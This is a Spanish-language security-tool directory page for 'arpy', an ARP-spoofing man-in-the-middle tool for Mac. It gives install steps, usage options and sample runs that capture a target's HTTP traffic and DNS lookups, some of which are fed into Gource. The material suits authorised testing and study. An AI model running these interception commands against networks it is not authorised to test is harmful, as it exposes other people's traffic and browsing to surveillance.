Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
arpy — Herramienta de suplantación ARP (MiTM) para Mac OSX que también se puede conectar a Gource | Kitploit
Herramientas/GitHubGitHub/ivanvza/arpy
Sniffing y Análisis de PaquetesReconocimientoRecopilación de InformaciónSeguridad de RedesRed TeamingAnálisis de DNSArchived
GitHubivanvza/arpy

arpy

Herramienta de suplantación ARP (MiTM) para Mac OSX que también se puede conectar a Gource

Ver Repositorio
26250hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

alt text

Arpy

Arpy es una herramienta MiTM de suplantación de ARP fácil de usar para Mac. Proporciona 3 funciones específicas:

  • Sniffing de paquetes
  • Dominios visitados
  • Dominios visitados con Gource
Cada función se explicará a continuación.

SO probados (hasta la fecha)

  • Darwin 14.3.0 Darwin Kernel Version 14.3.0 (Mac OS X)

Requisitos

  • Python 2.7
  • Gource
  • Scapy
  • libdnet

Instalación

Gource

root@kitploit:~
brew install gource

Scapy

root@kitploit:~
pip install scapy

libdnet

root@kitploit:~

$ git clone https://github.com/dugsong/libdnet.git
$ cd libdnet
$ ./configure && make && make install
cd python
python setup.py install

Ejemplos de comandos

root@kitploit:~
ivanvza:~/ > sudo arpy
     _____
    |  _  |___ ___ _ _
    |     |  _| . | | |
    |__|__|_| |  _|_  |
    MiTM Tool |_| |___|
    v3.15 -@viljoenivan

Uso: arpy -t <IP Objetivo> -g <IP Puerta de Enlace> -i <Interfaz>

Herramienta MiTM ARP

Opciones:
  -h, --help            muestra este mensaje de ayuda y sale
  -t TARGET, --target=TARGET
                        La IP del objetivo
  -g GATEWAY, --gateway=GATEWAY
                        La puerta de enlace
  -i INTERFACE, --interface=INTERFACE
                        Interfaz a usar
  --tcp                 Filtra solo tráfico TCP
  --udp                 Filtra solo tráfico UDP
  -d D_PORT, --destination_port=D_PORT
                        Filtra por un puerto de destino
  -s S_PORT, --source_port=S_PORT
                        Filtra por un puerto de origen
  --sniff               Captura todo el tráfico que pasa
  --sniff-dns           Captura solo los dominios buscados
  --sniff-dns-gource    Muestra las búsquedas DNS del objetivo en formato gource
  -v                    Muestra verbose de paquetes scapy

Sniffing de paquetes

Este es el sniffer de paquetes, te permite ver el tráfico de tu objetivo.

root@kitploit:~
ivanvza:~/ > sudo arpy -t 192.168.1.3 -g 192.161.1.1 -i en0 --sniff
     _____
    |  _  |___ ___ _ _
    |     |  _| . | | |
    |__|__|_| |  _|_  |
    MiTM Tool |_| |___|
    v3.15 -@viljoenivan


  [Info] Starting Sniffer...

[Info] Enabling IP Forwarding...
[Info] Filter: ((src host 192.168.1.3 or dst host 192.168.1.3))

[Info] Found the following (IP layer): 192.168.1.3 -> 46.101.34.90
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: ivanvza.ninja
Accept: */*



[Info] Found the following (IP layer): 46.101.34.90 -> 192.168.1.3
HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: text/html
Accept-Ranges: bytes
ETag: "2719538271"
Last-Modified: Thu, 30 Apr 2015 08:25:15 GMT
Content-Length: 3213
Date: Fri, 29 May 2015 20:15:06 GMT
Server: Microsoft IIS

<html>
     <title>><></title>
    <body>
        <pre style="line-height: 1.25; white-space: pre;">
        \          SORRY            /
         \                         /
          \    This page does     /
           ]   not exist yet.    [    ,'|
           ]                     [   /  |
           ]___               ___[ ,'   |
           ]  ]\             /[  [ |:   |
           ]  ] \           / [  [ |:   |
           ]  ]  ]         [  [  [ |:   |
           ]  ]  ]__     __[  [  [ |:   |
           ]  ]  ] ]\ _ /[ [  [  [ |:   |
           ]  ]  ] ] (#) [ [  [  [ :===='
           ]  ]  ]_].nHn.[_[  [  [
           ]  ]  ]  HHHHH. [  [  [
           ]  ] /   `HH("N  \ [  [
           ]__]/     HHH  "  \[__[
           ]         NNN         [
           ]         N/"         [
           ]         N H         [
          /          N            \
         /           q,            \
        /                           \
        </pre>
        <h3 id="list"><h3>
    </body>
<script>

// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||

Sniffing de DNS

Esta función te permite ver los nombres de dominio que tu objetivo está solicitando actualmente.

root@kitploit:~
ivanvza:~/ > sudo arpy -t 192.168.1.4 -g 192.168.1.1 -i en0 --sniff-dns
     _____
    |  _  |___ ___ _ _
    |     |  _| . | | |
    |__|__|_| |  _|_  |
    MiTM Tool |_| |___|
         - @viljoenivan


  [Info] Starting DNS Sniffer...

[Info] Enabling IP Forwarding...
[Info] Done...
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: www.youtube.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: s2.googleusercontent.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: s.ytimg.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: fonts.gstatic.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: yt3.ggpht.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: i.ytimg.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing.google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing-cache.google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing-cache.google.com.

Sniffing de DNS con Gource

Esta función es más o menos la misma que la anterior, sin embargo proporciona la funcionalidad de pasarlo a través de Gource para obtener una transmisión en vivo de lo que tu objetivo está viendo.

root@kitploit:~
ivanvza:~/ > sudo arpy -t 192.168.1.3 -g 192.161.1.1 -i en0 --sniff-dns-gource
[INFO] For a live gource feed run this command in parallel with this one:

tail -f /tmp/36847parsed_nmap | tee /dev/stderr | gource -log-format custom -a 1 --file-idle-time 0 -

[Info] Filter: ((src host 192.168.1.3 or dst host 192.168.1.3) and dst port 53)

Ejemplo de filmación con Gource

alt text

Contacto

@viljoenivan

Por hacer

  • Considerar agregar sslstrip.
  • Portarlo a Kali.
Descargar herramienta